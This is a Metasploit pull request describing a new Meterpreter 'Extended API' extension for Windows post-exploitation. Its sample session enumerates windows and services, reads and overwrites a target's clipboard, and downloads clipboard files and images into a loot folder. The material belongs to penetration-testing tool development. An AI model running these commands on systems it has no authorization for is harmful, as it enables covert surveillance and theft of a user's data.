rapid7/metasploit-framework — pull request #2602 by OJ (2013-11-03 10:26:19+00:00)
Title: New Extension: Extended API

This PR contains code for a new extension called the Extended API. The goal of this extension is to contain functionality that is helpful with general Windows post-exploitation tasks, but contains functionality that doesn't belong in the Standard API project. That is, this code is useful, but optional.

So far the code contains the following functions:

1. Ability to enumerate Windows and child windows. This can be useful when searching for something that a user is doing, plus it harvests Window handles that can then be used with railgun calls.
1. Ability to enumerate all services. The data returned includes service names, display names, PIDs and statuses.
1. Ability to query a particular service by name. The query results in more detailed information about the service itself, including things such as the account that the service is running under and the DACL. (Note: at this point DACL parsing hasn't been implemented, it's coming).
1. Ability to read data from the clipboard. The formats that are supported are raw text, files and image data.
* Raw text, if present, is just displayed on screen.
* If the user has a selection of files on the cilpboard, they are listed along with their sizes in bytes. If the `-d` parameter is added to the call, then the files are downloaded to a local loot folder.
* If the user has an image selection on the clipboard (such as a screenshot or something from MSPaint) the image dimensions are shown. If the `-d` parameter is added then the image is downloaded to a local loot folder and then displayed. Note that GDI+ i used to enable this functionality instead of the jpeg library that is used elsewhere. Down the track, this functionality will be moved over to stdapi allowing us to reduce the size of image management payloads such as screenshot.dll.
1. Ability to set text on the cilpboard. More formats such as files and images might come later if they're useful.

This PR isn't perfect yet, but it's big enough to get the conversation going.

Future goals:

* Monitoring the clipboard and auto-looting when new data appears.
* DACL parsing into something human-readable.
* Service control (starting/stopping/disabling/etc)
* ... and a LOT more other stuff too good to mention here :)

This is the MSF side of the Meterpreter PR https://github.com/rapid7/meterpreter/pull/45

### Testing

- [ ] Should work fine in box x86 and x64
- [ ] Every feature should work on every Windows operating system from Windows 2000 SP4 onwards. Prior to that, the only thing that doesn't work is reading image data off a clipboard.

### Sample Run

```
meterpreter > use extapi
Loading extension extapi...success.
meterpreter > help

... snip ...

Extapi: Service Management Commands
===================================

Command Description
------- -----------
service_enum Enumerate all registered Windows services
service_query Query more detail about a specific Windows service

Extapi: Clipboard Management Commands
=====================================

Command Description
------- -----------
clipboard_get_data Read the victim's current clipboard (text, files, images)
clipboard_set_text Write text to the victim's clipboard

meterpreter > window_enum

Top-level windows
=================

PID Handle Title
--- ------ -----
600 131444 Git Bash
784 132000 MSCTFIME UI
784 393984 Default IME
2128 65832 VMDisplayChangeControlTitle
2196 197532 Untitled - Notepad
2196 197512 MSCTFIME UI
2196 197508 Default IME
... snip ...
3048 65800 Program Manager
3048 131462 Local Disk (C:)
3048 65642 Default IME
3048 262712 backcompat
3048 65726 CiceroUIWndFrame
3048 65868 Task Switching
3048 65854 MSCTFIME UI
3048 65630 Default IME

Total top-level Windows: 82

meterpreter > window_enum -p 65800

Child windows of 65800
======================

PID Handle Title
--- ------ -----
3048 65804 FolderView

Total child Windows: 1

meterpreter > service_enum

Service List
============

PID Status Int Name (Display Name)
--- ------ --- -------------------
0 Stopped N aelookupsvc (Application Experience)
0 Stopped N alg (Application Layer Gateway Service)
0 Stopped N appidsvc (Application Identity)
0 Stopped N appinfo (Application Information)
0 Stopped N appmgmt (Application Management)
0 Stopped N aspnet_state (ASP.NET State Service)
880 Running N audioendpointbuilder (Windows Audio Endpoint Builder)
772 Running N audiosrv (Windows Audio)
0 Stopped N axinstsv (ActiveX Installer (AxInstSV))
0 Stopped N bdesvc (BitLocker Drive Encryption Service)
... snip ...
1072 Running N windefend (Windows Defender)
0 Stopped N winhttpautoproxysvc (WinHTTP Web Proxy Auto-Discovery Service)
936 Running N winmgmt (Windows Management Instrumentation)
0 Stopped N winrm (Windows Remote Management (WS-Management))
880 Running N wlansvc (WLAN AutoConfig)
0 Stopped N wmiapsrv (WMI Performance Adapter)
0 Stopped N wmpnetworksvc (Windows Media Player Network Sharing Service)
0 Stopped N wpcsvc (Parental Controls)
0 Stopped N wpdbusenum (Portable Device Enumerator Service)
772 Running N wscsvc (Security Center)
2632 Running N wsearch (Windows Search)
936 Running N wuauserv (Windows Update)
0 Stopped N wudfsvc (Windows Driver Foundation - User-mode Driver Framework)
0 Stopped N wwansvc (WWAN AutoConfig)

Total services: 167

meterpreter > service_query windefend

Name : windefend
Display : Windows Defender
Account : LocalSystem
Start Type : Automatic
Path : C:\Windows\System32\svchost.exe -k secsvcs
L.O. Group :
Interactive : No
DACL : D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;OICIIO;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPLOCRRC;;;IU)(A;;CCLCSWRPLOCRRC;;;SU)

meterpreter > clipboard_get_data

Current Clipboard Text
======================

Dude, check this out!

meterpreter > clipboard_set_text No way! I can own your clipboard :D
meterpreter > clipboard_get_data

Current Clipboard Text
======================

No way! I can own your clipboard :D
```

On the target we select a couple of files/folders and copy them to the clipboard

```
meterpreter > clipboard_get_data

Current Clipboard Files
=======================

File Path Size (bytes)
--------- ------------
C:\Users\OJ Reeves\Desktop\https-40-8000-x64.exe 73802
C:\Users\OJ Reeves\Desktop\https-40-8000-x86.exe 73802

2 file(s) totalling 147604 bytes

meterpreter > clipboard_get_data -d

[*] Downloading Clipboard Files ...
downloading: C:\Users\OJ Reeves\Desktop\https-40-8000-x64.exe -> /home/oj/.msf4/loot/20131102230320_default_unknown_clipboard/https-40-8000-x64.exe
downloaded : C:\Users\OJ Reeves\Desktop\https-40-8000-x64.exe -> /home/oj/.msf4/loot/20131102230320_default_unknown_clipboard/https-40-8000-x64.exe
downloading: C:\Users\OJ Reeves\Desktop\https-40-8000-x86.exe -> /home/oj/.msf4/loot/20131102230320_default_unknown_clipboard/https-40-8000-x86.exe
downloaded : C:\Users\OJ Reeves\Desktop\https-40-8000-x86.exe -> /home/oj/.msf4/loot/20131102230320_default_unknown_clipboard/https-40-8000-x86.exe
[+] Downloaded 2 file(s).

```
On the target we then copy some image data to the clipboard (eg. window screenshot)
```
meterpreter > clipboard_get_data

Clipboard Image Dimensions: 1680x1050
Re-run with -d to download image.

meterpreter > clipboard_get_data -d

Clipboard Image Dimensions: 1680x1050
[+] Clipboard image saved to /home/oj/.msf4/loot/20131102225909_default_unknown_clipboard/pssCtgxA.jpg
```

That's all folks.